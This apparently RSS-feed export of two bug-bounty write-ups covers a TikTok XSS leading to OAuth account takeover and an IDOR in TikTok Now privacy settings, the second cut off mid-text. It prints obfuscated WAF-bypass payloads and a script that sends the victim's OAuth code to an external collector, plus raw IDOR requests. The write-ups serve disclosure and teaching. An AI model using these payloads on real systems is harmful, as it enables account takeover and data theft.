<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by mrhavit on Medium]]></title>
        <description><![CDATA[Stories by mrhavit on Medium]]></description>
        <link>https://medium.com/@mrhavit?source=rss-457a90afc72a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*azp7_3HyFCDQW7NufmSQYA.jpeg</url>
            <title>Stories by mrhavit on Medium</title>
            <link>https://medium.com/@mrhavit?source=rss-457a90afc72a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 15:30:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mrhavit/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Breaking TikTok: Our Journey to Finding an Account Takeover Vulnerability]]></title>
            <link>https://medium.com/@mrhavit/breaking-tiktok-our-journey-to-finding-an-account-takeover-vulnerability-b0646aba1c4b?source=rss-457a90afc72a------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0646aba1c4b</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[ti̇ktok]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[mrhavit]]></dc:creator>
            <pubDate>Sun, 04 Jun 2023 08:24:26 GMT</pubDate>
            <atom:updated>2023-06-04T08:26:22.044Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bdUiHoc2uR4wvMKa.jpg" /></figure><p>Hello, fellow security researchers and bug bounty hunters!</p><p>In this article, <a href="https://www.linkedin.com/in/abir-nadav-0389631a7/">const</a> &amp; <a href="https://www.linkedin.com/in/amit-elbirt-435385190/">I</a> (mrhavit) will share our experience of discovering a Cross-Site Scripting (XSS) vulnerability that could have resulted in possible account takeovers in multiple TikTok applications during our participation in their bug bounty program.</p><h4><strong>How it all </strong>began</h4><p>It all began when we were browsing TikTok’s main application as usual, with the VPN turned on. Our VPN has an option that randomly selects the location of the connection. At the time we were browsing the TikTok application, the connection was set to China.</p><p>When I attempted to visit <a href="https://tiktok.com/">https://tiktok.com/</a>, I was promptly redirected to a different webpage that indicated “<em>This page is not available in your area.</em>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-F9Qa41ZsCrlBqFjlPowXQ.png" /><figcaption><a href="https://www.tiktok.com/status?status=7&amp;link=https://go.onelink.me/bIdt/">https://www.tiktok.com/status?status=7&amp;link=https://go.onelink.me/bIdt/</a></figcaption></figure><p>The new redirect URL contains a few parameters. The first parameter is “status,” which is responsible for the page content. The second parameter is “link,” and we still don’t know how it affects the page.</p><p>When we changed the value of the “status” parameter to “1,” the content of the page changed, and a new button appeared. Clicking on the button redirects you to the value of the “link” parameter. This is where the “link” parameter comes into play.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3AVzKBk3IhhSxMHK1a2N7g.png" /><figcaption><a href="https://www.tiktok.com/status?status=1&amp;link=https://go.onelink.me/BAuo/">https://www.tiktok.com/status?status=1&amp;link=https://go.onelink.me/BAuo/</a></figcaption></figure><h3>Keep Going!</h3><p>We started testing the “link” parameter value by inserting some common XSS payloads such as “javascript:alert()” and “javascript://”, but nothing changed. The redirect link remained set as “<a href="https://go.onelink.me/BAuo/">https://go.onelink.me/BAuo/</a>&quot;.</p><p>After a while, I realized that we could actually control the path. This means that we set the “link” parameter value to “<a href="https://go.onelink.me/mrhavit/">https://go.onelink.me/mrhavit/</a>&quot; and it was actually embedded in the HTML.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*qb3bqeYeYy4yClVp2R4-3w.png" /><figcaption><a href="https://www.tiktok.com/status?status=1&amp;link=https://go.onelink.me/mrhavit/">https://www.tiktok.com/status?status=1&amp;link=https://go.onelink.me/mrhavit/</a></figcaption></figure><p>The next step was to check if we were stuck inside the “href” attribute or if it was possible to break out and set some events. As you might have guessed, the escaping wasn’t set properly, and we were able to successfully insert a new event into the “href” attribute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*pQJO2xrMRFKLkpLbjNpuRA.png" /><figcaption><a href="https://www.tiktok.com/status?status=1&amp;link=https://go.onelink.me/mrhavit/%22%20test">https://www.tiktok.com/status?status=1&amp;link=https://go.onelink.me/mrhavit/%22%20test</a></figcaption></figure><p>At this moment, we realized that we had a good lead for XSS and started to dig deeper. Let’s go!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*CfaueMw552sHI_UE" /></figure><h3>Hacking Time</h3><p>Since we were inside the “href” attribute and could potentially inject any event we wanted, “onclick” sounded like the most fitting one. When we tried this, we quickly faced something very annoying that every security expert may know and have faced before — a WAF!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*bDjM1aIigM8YUfIh567tAQ.png" /><figcaption><a href="https://www.tiktok.com/status?status=1&amp;link=https://go.onelink.me/mrhavit/%22%20onclick=alert(1)">https://www.tiktok.com/status?status=1&amp;link=https://go.onelink.me/mrhavit/%22%20onclick=alert(1)</a></figcaption></figure><p>Since this was a very special case and a unique injection entry point, we didn’t find a quick win here with an XSS payload that can be found online and bypassed the WAF. So, we started to learn how to deal with this WAF and attempted to bypass it by crafting a unique payload.</p><p>Bypassing the WAF was not an easy task. Special characters like “&gt;” and “&lt;” were escaped/encoded properly, so by using some encoding tricks have successfully inserted the “onclick” event.</p><p>After spending some time working and utilizing our JavaScript skills, we finally found a cool bypass that allowed us to execute JavaScript successfully!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9LhQqthDxbZbvN5261L6QA.png" /><figcaption><a href="https://www.tiktok.com/status?status=1&amp;link=https://go.onelink.me/dsa%5C+%0A%0D%0A%0D%22%3C!%3E!%0D%0Atarget=%22_blank%22%0D%0Aonclick=%0D%0A%22%0D%0Ax=window%5B%27pr%27%2b%27o%27%2b%27m%27+%2b%27pt%27%5D(%271%27)(%271%27)%0D%0Aompt,%0D%0Ax%60Tiktok%60">https://www.tiktok.com/status?status=1&amp;link=https://go.onelink.me/dsa\+%0A%0D%0A%0D%22%3C!%3E!%0D%0Atarget=%22_blank%22%0D%0Aonclick=%0D%0A%22%0D%0Ax=window[%27pr%27%2b%27o%27%2b%27m%27+%2b%27pt%27](%271%27)(%271%27)%0D%0Aompt,%0D%0Ax`Tiktok`</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/0*rm_N__gAe9FJqWwO" /></figure><h3>Showing Impact! Please!</h3><p>Reporting an XSS vulnerability without demonstrating its impact is not something we do. Showing the company the impact of what a single click can do will help them understand the risk involved, and of course, pay more for the vulnerability :)</p><p>Account takeovers are always a good example to demonstrate the impact of an XSS vulnerability. While stealing cookies is rare these days due to the HTTPOnly flag, having enough knowledge about the target can lead to account takeovers in creative ways. We were able to achieve this by using “TikTok OAuth”.</p><p>Most TikTok services offer “Login With TikTok” as an option for their login process. In this article, we will focus on “ads.tiktok.com”, but this vulnerability also affects other services such as sellers, shops, and more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CLB43KLcKWkRG3Zp-f257Q.png" /><figcaption><a href="https://ads.tiktok.com/i18n/login/?_source_=ads_homepage&amp;lang=en&amp;region=0">https://ads.tiktok.com/i18n/login/?_source_=ads_homepage&amp;lang=en&amp;region=0</a></figcaption></figure><p>After clicking on “Log in with TikTok,” the following page was displayed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*uRKu8fR64i5Rsl6xiYCelQ.png" /><figcaption><a href="https://www.tiktok.com/auth/authorize?client_key=aw8cb3204x0a1g88&amp;response_type=code&amp;scope=user.info.basic%2Cuser.info.email%2Cuser.info.phone%2Cuser.info.showcase%2Cvideo.list.no_watermark%2Cvideo.list.private_ads.no_watermark%2Cuser.account.configure%2Cvideo.list.manage%2Clive.list%2Ccomment.list%2Ccomment.list.manage&amp;version=1&amp;lang=en&amp;state=b5d324d197693fd0ab0f5bde42020d3f91feb5bb&amp;redirect_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb&amp;error_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb">https://www.tiktok.com/auth/authorize?client_key=aw8cb3204x0a1g88&amp;response_type=code&amp;scope=user.info.basic%2Cuser.info.email%2Cuser.info.phone%2Cuser.info.showcase%2Cvideo.list.no_watermark%2Cvideo.list.private_ads.no_watermark%2Cuser.account.configure%2Cvideo.list.manage%2Clive.list%2Ccomment.list%2Ccomment.list.manage&amp;version=1&amp;lang=en&amp;state=b5d324d197693fd0ab0f5bde42020d3f91feb5bb&amp;redirect_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb&amp;error_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb</a></figcaption></figure><p>This page is hosted on “<a href="http://www.tiktok.com/">www.tiktok.com</a>&quot;, which is the same host where our XSS vulnerability exists. Upon clicking the “Authorize” button, the following request was generated:</p><pre>POST /passport/open/web/auth/?client_key=aw8cb3204x0a1g88&amp;scope=user.info.basic%2Cuser.info.phone%2Cuser.account.configure%2Ccomment.list.manage%2Cuser.info.showcase%2Clive.list%2Ccomment.list%2Cvideo.list.private_ads.no_watermark%2Cvideo.list.manage%2Cuser.info.email%2Cvideo.list.no_watermark&amp;aid=1459&amp;source=web&amp;redirect_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb&amp;state=b5d324d197693fd0ab0f5bde42020d3f91feb5bb HTTP/2<br>Host: www.tiktok.com<br>Cookie: .............<br>Content-Length: 2<br>Sec-Ch-Ua: &quot;Google Chrome&quot;;v=&quot;113&quot;, &quot;Chromium&quot;;v=&quot;113&quot;, &quot;Not-A.Brand&quot;;v=&quot;24&quot;<br>Accept: application/json, text/plain, */*<br>Content-Type: application/json<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36<br>Origin: https://www.tiktok.com<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Dest: empty<br>Referer: https://www.tiktok.com/auth/authorize?client_key=aw8cb3204x0a1g88&amp;response_type=code&amp;scope=user.info.basic%2Cuser.info.email%2Cuser.info.phone%2Cuser.info.showcase%2Cvideo.list.no_watermark%2Cvideo.list.private_ads.no_watermark%2Cuser.account.configure%2Cvideo.list.manage%2Clive.list%2Ccomment.list%2Ccomment.list.manage&amp;version=1&amp;lang=en&amp;state=b5d324d197693fd0ab0f5bde42020d3f91feb5bb&amp;redirect_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb&amp;error_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb<br>Accept-Encoding: gzip, deflate<br>Accept-Language: en-US,en;q=0.9<br><br>{}</pre><p>The response contains something very interesting — the “code” for the OAuth authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EhBGjGWgErt5GNSNL_i3Fw.png" /></figure><p>If we combine this with our XSS vulnerability, It would have been possible to leak the OAuth “code” of our victim with a single click. While TikTok saw no evidence of this vulnerability being exploited before it was fixed, attackers who obtained these codes could have used them to take over their victims’ accounts.</p><h3>Time to the full scenario!</h3><p>We created a JS payload that bypassed the WAF and loaded a new script from the attacker’s server. In our example, the script was loaded from “<a href="http://127.0.0.1:5500/asd.js">http://127.0.0.1:5500/asd.js</a>”.</p><p>The “asd.js” file contains JavaScript code that sends an XHR POST request to the “OAuth” endpoint and sends the response to the attacker-controlled server.</p><pre>var xhr = new XMLHttpRequest();<br>xhr.onload = reqListener; <br>xhr.open(&quot;POST&quot;, &quot;https://www.tiktok.com/passport/open/web/auth/?client_key=aw8cb3204x0a1g88&amp;scope=user.info.basic%2Cuser.info.phone%2Cvideo.list.manage%2Ccomment.list%2Clive.list%2Cvideo.list.private_ads.no_watermark%2Cuser.account.configure%2Cuser.info.showcase%2Cuser.info.email%2Cvideo.list.no_watermark%2Ccomment.list.manage&amp;aid=1459&amp;source=web&amp;redirect_uri=https%3a%2f%2fads.tiktok.com%2fblablablabla&amp;state=64588d019065e001fa8e7abdd884581c10770400&quot;);<br>xhr.withCredentials = true;<br>xhr.setRequestHeader(&quot;Content-Type&quot;, &quot;application/json&quot;);<br>xhr.send();<br><br>function reqListener() {<br>    location=&#39;//rqlu5n70d1zgnxxbz3xzlq09b0hr5ntc.oastify.com/log?key=&#39;+this.responseText; <br>};</pre><p>The response contained the OAuth “code” of our victim user, which could have been used by the attacker to gain access to the victim’s account.</p><p>In the following video, we demonstrate how the victim could have clicked on the XSS, and the OAuth “code” is sent back to the attacker’s controlled server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*vVT1SSYpXoj4C2iE.gif" /><figcaption><a href="https://www.tiktok.com/status?status=1&amp;link=https://go.onelink.me/dsa%5C+%0A%0D%0A%0D%22%3C!%3E!%0D%0Atarget=%22_blank%22%0D%0Aonclick=%0D%0A%22%0D%0Ax=window%5B%27ev%27%2b%27a%27%2b%27l%27%5D((%27fe%27+%2b+%27tch%27+%2b+%27(%27+%2b+%27%5C%27ht%27+%2b+%27tp%27+%2b+%27%3a//%27+%2b+%27lo%27+%2b+%27ca%27+%2b+%27lho%27+%2b+%27st%27+%2b+%27%3a%27+%2b+%2755%27+%2b+%2700%27+%2b+%27/%27+%2b+%27as%27+%2b+%27d.%27+%2b+%27js%5C%27%27+%2b+%27)%27+%2b+%27.%27+%2b+%27the%27+%2b+%27n(%27+%2b+%27re%27+%2b+%27sp%27+%2b+%27on%27+%2b+%27se%27+%2b+%27%3d%3E%27+%2b+%27re%27+%2b+%27sp%27+%2b+%27on%27+%2b+%27se.%27+%2b+%27te%27+%2b+%27xt()%27+%2b+%27.%27+%2b+%27the%27+%2b+%27n(%27+%2b+%27te%27+%2b+%27xt%27+%2b+%27%3d%3E%27+%2b+%27ev%27+%2b+%27al%27+%2b+%27(%27+%2b+%27te%27+%2b+%27xt%27+%2b+%27)%27+%2b+%27)%27+%2b+%27)%27))">https://www.tiktok.com/status?status=1&amp;link=https://go.onelink.me/dsa\+%0A%0D%0A%0D%22%3C!%3E!%0D%0Atarget=%22_blank%22%0D%0Aonclick=%0D%0A%22%0D%0Ax=window[%27ev%27%2b%27a%27%2b%27l%27]((%27fe%27+%2b+%27tch%27+%2b+%27(%27+%2b+%27\%27ht%27+%2b+%27tp%27+%2b+%27%3a//%27+%2b+%27lo%27+%2b+%27ca%27+%2b+%27lho%27+%2b+%27st%27+%2b+%27%3a%27+%2b+%2755%27+%2b+%2700%27+%2b+%27/%27+%2b+%27as%27+%2b+%27d.%27+%2b+%27js\%27%27+%2b+%27)%27+%2b+%27.%27+%2b+%27the%27+%2b+%27n(%27+%2b+%27re%27+%2b+%27sp%27+%2b+%27on%27+%2b+%27se%27+%2b+%27%3d%3E%27+%2b+%27re%27+%2b+%27sp%27+%2b+%27on%27+%2b+%27se.%27+%2b+%27te%27+%2b+%27xt()%27+%2b+%27.%27+%2b+%27the%27+%2b+%27n(%27+%2b+%27te%27+%2b+%27xt%27+%2b+%27%3d%3E%27+%2b+%27ev%27+%2b+%27al%27+%2b+%27(%27+%2b+%27te%27+%2b+%27xt%27+%2b+%27)%27+%2b+%27)%27+%2b+%27)%27))</a></figcaption></figure><p><a href="https://hackerone.com/reports/1915808">HackerOne Report</a></p><blockquote><em>Timeline:</em></blockquote><blockquote><em>Reported — </em>Mar 23rd</blockquote><blockquote><em>Triaged — </em>Apr 3rd</blockquote><blockquote><em>Awarded $$$$ — </em>Apr 6th</blockquote><blockquote><em>Resolved —</em>Apr 6th</blockquote><p>On April 10th, we reported that the XSS vulnerability was still present in our region. The TikTok team investigated the issue and confirmed that there was an internal service issue affecting certain regions, which allowed the XSS to still be triggered. They promptly fixed the issue once it was identified.</p><p><em>In working with the TikTok team, they confirmed that this vulnerability was fixed, and had no evidence of being exploited.</em></p><p>Thank you for reading our article. If you have any questions or want to learn more about our experience, feel free to reach out.</p><p>@<a href="https://www.linkedin.com/in/amit-elbirt-435385190/"><em>mrhavit</em></a><em> &amp; @</em><a href="https://www.linkedin.com/in/abir-nadav-0389631a7/"><em>const</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0646aba1c4b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found an Insecure Direct Object Reference in TikTok]]></title>
            <link>https://medium.com/@mrhavit/how-i-found-an-insecure-direct-object-reference-in-tiktok-c7303addf223?source=rss-457a90afc72a------2</link>
            <guid isPermaLink="false">https://medium.com/p/c7303addf223</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tiktok-app]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[mrhavit]]></dc:creator>
            <pubDate>Sun, 29 Jan 2023 08:04:39 GMT</pubDate>
            <atom:updated>2023-01-29T08:30:07.209Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*9QwSzvV80ML77oZsEwNNEQ.jpeg" /></figure><p>Hello fellow security researchers and bug bounty hunters!</p><p>In this article, I am going to share my experience of finding an Insecure Direct Object Reference (IDOR) vulnerability in TikTok while participating in their bug bounty program.</p><h3>The Story</h3><p>While scrolling through Hackerone and searching for new targets, I browsed the TikTok bug bounty page for the millionth time, but this time I noticed something very exciting — a new scope had been added. Upon further investigation, I discovered that TikTok had released a new app called “TikTok Now”.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F3oz8xQQP4ahKiyuxHy%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F3oz8xQQP4ahKiyuxHy%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F3oz8xQQP4ahKiyuxHy%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="319" frameborder="0" scrolling="no"><a href="https://medium.com/media/9967ac4de5583f64367922bafe667108/href">https://medium.com/media/9967ac4de5583f64367922bafe667108/href</a></iframe><p>I immediately turned on my old Android device, downloaded the new app, and started exploring.</p><h4>Business Logic</h4><p>During the first hour, I didn’t even use any security tools. Since it was a new app, I focused on learning and playing with all the features it offered and wrote down some potential scenarios that I could try to achieve later.</p><p>The TikTok Now app is very straightforward. It allows users to share “memories” with other users. These “memories” are videos/photos that the user has uploaded.</p><p>One of the most impactful security issues that I can think of for the TikTok Now app, which affects users across the platform, is the possibility of viewing other users’ private “memories.”</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F8YmZ14DOpivXMuckSI%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F8YmZ14DOpivXMuckSI%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F8YmZ14DOpivXMuckSI%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/4575df709c14f76374b76259b9a95d2f/href">https://medium.com/media/4575df709c14f76374b76259b9a95d2f/href</a></iframe><h4>Let&#39;s Start</h4><p>I started Burp and, as I mentioned earlier, I was trying to find a way to view the private “memories” of other users. So, my first step was to create a new “memory” and set its privacy settings to “Friends” (Friends meaning that only followers that you follow back can view).</p><p>After I uploaded the “memory,” I changed its privacy settings from “Friends” to “Everyone” and captured the request using Burp. The request looked like this:</p><pre>POST /unification/privacy/item/modify/visibility/v1?carrier_region=&amp;manifest_version_code=-1&amp;_rticket=1665657797313&amp;app_language=en&amp;ac=wifi&amp;device_id=7151368204245353990&amp;iid=7153930339445278470&amp;os_version=11&amp;channel=googleplay&amp;version_code=10203&amp;device_type=IN2023&amp;language=en&amp;resolution=1080*2125&amp;update_version_code=-1&amp;app_name=TikTok%20Now&amp;cdid=ffdd5c09-b345-4860-ab4a-460218871241&amp;version_name=1.2.3&amp;os_api=30&amp;device_brand=OnePlus&amp;ssmix=a&amp;device_platform=android&amp;dpi=450&amp;aid=385522 HTTP/2<br>Host: api16-normal-c-alisg.tiktokv.com<br>Cookie: ...........<br>Content-Length: 35<br>Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br>User-Agent: <br>Accept-Encoding: gzip, deflate<br><br>aweme_id=71539436394863*****&amp;type=1</pre><p>The ‘<em>aweme_id</em>’ parameter is the ID of my “memory,” and the ‘<em>type</em>’ parameter indicated the option I wanted to change for my “memory” — in this case, to “Everyone”. At this point, I started to think about IDOR (Insecure Direct Object References) and whether it would be possible for me to use this action on the ‘aweme_id’ of a “memory” that does not belong to me.</p><p>I quickly created a new account and uploaded a private “memory”. I then retrieved the ‘<em>aweme_id</em>’ for this “memory”. Now that I have obtained the ‘<em>aweme_id</em>’ for the target account, I can attempt to use it with my own account, which I will refer to as the ‘attacker’ account.</p><p>I sent once again the request, but this time with the ‘<em>aweme_id</em>’ of the target account:</p><pre>POST /unification/privacy/item/modify/visibility/v1?carrier_region=&amp;manifest_version_code=-1&amp;_rticket=1665657797313&amp;app_language=en&amp;ac=wifi&amp;device_id=7151368204245353990&amp;iid=7153930339445278470&amp;os_version=11&amp;channel=googleplay&amp;version_code=10203&amp;device_type=IN2023&amp;language=en&amp;resolution=1080*2125&amp;update_version_code=-1&amp;app_name=TikTok%20Now&amp;cdid=ffdd5c09-b345-4860-ab4a-460218871241&amp;version_name=1.2.3&amp;os_api=30&amp;device_brand=OnePlus&amp;ssmix=a&amp;device_platform=android&amp;dpi=450&amp;aid=385522 HTTP/2<br>Host: api16-normal-c-alisg.tiktokv.com<br>Cookie: ...........<br>Content-Length: 35<br>Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br>User-Agent: <br>Accept-Encoding: gzip, deflate<br><br>aweme_id=<strong>TARGET-AWEME_ID</strong>&amp;type=1</pre><p>AND…. YES! It’s Worked! I got 200OK and a Successful Message!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FrD62fdKGwIgZrSC7mk%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FrD62fdKGwIgZrSC7mk%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FrD62fdKGwIgZrSC7mk%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="271" frameborder="0" scrolling="no"><a href="https://medium.com/media/0d650697b93b8a59bdceebc86f655072/href">https://medium.com/media/0d650697b93b8a59bdceebc86f655072/href</a></iframe><p>Using the attacker’s TikTok account, I browsed the target profile and found that I was able to view their “memory” even though we were not friends. This was due to an IDOR (insecure direct object reference) vulnerability, which allowed me to change the target’s “memory” privacy setting from “Friends” to “Everyone.” Excited by this discovery, I initially considered reporting it to the TikTok team, but then I realized that I could demonstrate an even greater impact by showing how this vulnerability could be exploited.</p><h4>Medium or High?</h4><p>This could be considered a high-severity finding due to the potential for an attacker to view and modify the privacy settings of a user’s private “memories.” However, since the ‘aweme_id’ for these memories is not guessable, we must find a way to obtain its value in order to exploit this vulnerability.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FtoXKzaJP3WIgM%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FtoXKzaJP3WIgM%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia1.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExeTZyazE4aGtqeXdxZTVsbjQ1cXg3bmNhMXd0bWx1ZmtkcGN4eXhxbCZlcD12MV9naWZzX2dpZklkJmN0PWc%2FtoXKzaJP3WIgM%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="261" frameborder="0" scrolling="no"><a href="https://medium.com/media/655d7c648c376b31edea59577be27bf1/href">https://medium.com/media/655d7c648c376b31edea59577be27bf1/href</a></iframe><p>With my attacker account, I searched for my victim’s username and browsed their profile. Since their “memory” privacy settings were set to “Friends,” the following message appeared — You can view after you become friends</p><figure><img alt="" 